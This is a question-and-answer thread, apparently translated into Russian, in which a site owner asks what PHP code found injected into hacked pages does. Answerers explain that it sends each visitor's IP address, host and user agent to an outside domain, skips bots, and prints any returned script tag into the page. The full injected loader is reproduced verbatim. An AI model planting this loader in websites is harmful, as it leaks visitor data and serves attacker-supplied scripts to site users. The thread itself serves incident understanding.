2014-01-07 5 views
7

Недавно сайт, с которым я был связан, был взломан с несанкционированным кодом, размещенным на нескольких страницах. Мне просто интересно, может ли кто-нибудь пролить свет на то, что именно делает этот код, и какая польза от него будет для пользователя, который разместил его на этих страницах.Неавторизованный код, размещенный на веб-страницах

<?php 
#31e3cd# 
error_reporting(0); ini_set('display_errors',0); $wp_okpbo35639 = @$_SERVER['HTTP_USER_AGENT']; 
if ((preg_match ('/Gecko|MSIE/i', $wp_okpbo35639) && !preg_match ('/bot/i', $wp_okpbo35639))){ 
$wp_okpbo0935639="http://"."html"."-href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_okpbo35639); 
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_okpbo0935639); 
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_35639okpbo = curl_exec ($ch); curl_close($ch);} 
if (substr($wp_35639okpbo,1,3) === 'scr'){ echo $wp_35639okpbo; } 
#/31e3cd# 
?> 

Выше кодекса, как он появился на страницах. Я играл с этим кодом и, кажется, чтобы получить информацию о пользователе с помощью:

$_SERVER['HTTP_USER_AGENT'] 

Затем объединяются в URL, аналогичной приведенной ниже, но с информацией о пользователе сверху добавляется к URL

http://html-href.com/href/?ip=::1&referer=localhost&ua= 

Я знаю, что curl используется для передачи данных, но где именно эта информация отправляется и какова ее цель?

ответ

7

Код делает звонок по указанному вами URL-адресу, отправляя по IP-адресу пользователя, домену вашего сайта и строке useragent пользователя. Затем он печатает на вашем сайте любой код, который он получает от запроса cURL. Полученный код может быть любым. Это может быть HTML, JavaScript или любой другой код на стороне клиента. Вероятно, это не серверный код, так как нет eval(), выполняющего полученный код.

Он, похоже, предназначен для браузеров Internet Explorer, Chrome и FireFox, но не для сканеров/ботов.

EDIT: Как FDL отметил в своем комментарии, это, кажется, только печать, если она получает строку, в которой второй, третий и четвертый символы являются scr, что означает это, вероятно, только печатает на страницу, если он получил a <script> тег.

+4

Возможно, это JS, так как он проверяет подстроку 'scr' как 2-го 3-го и 4-го символов (что соответствует' naththedeveloper

+0

Хороший звонок. Я не думал о «скрипте» (я ужасно в играх слов!). В результате, похоже, печатает только полученную строку, если это JavaScript. – Crashspeeder

+0

Является ли возвращаемое содержимое вероятным для нанесения ущерба пользовательскому компьютеру? Является ли это просто возвратом строки или может быть выполнено возвращенное содержимое , возможно, использовать уязвимость в одном из этих браузеров? –

1

$ _SERVER ['HTTP_USER_AGENT'] используется для проверки типа веб-браузера (или может быть искателем), с которого клиент запрашивает ресурс на основе URL-адреса. Например, с помощью этого фрагмента preg_match ('/Gecko|MSIE/i', $wp_okpbo35639) он используется для проверки, является ли браузер клиента Firefox (Gecko) или IE (MSIE). Но это не является надежным способом определения исходного браузера, поскольку пользовательские агенты легко могут быть изменены или переключены.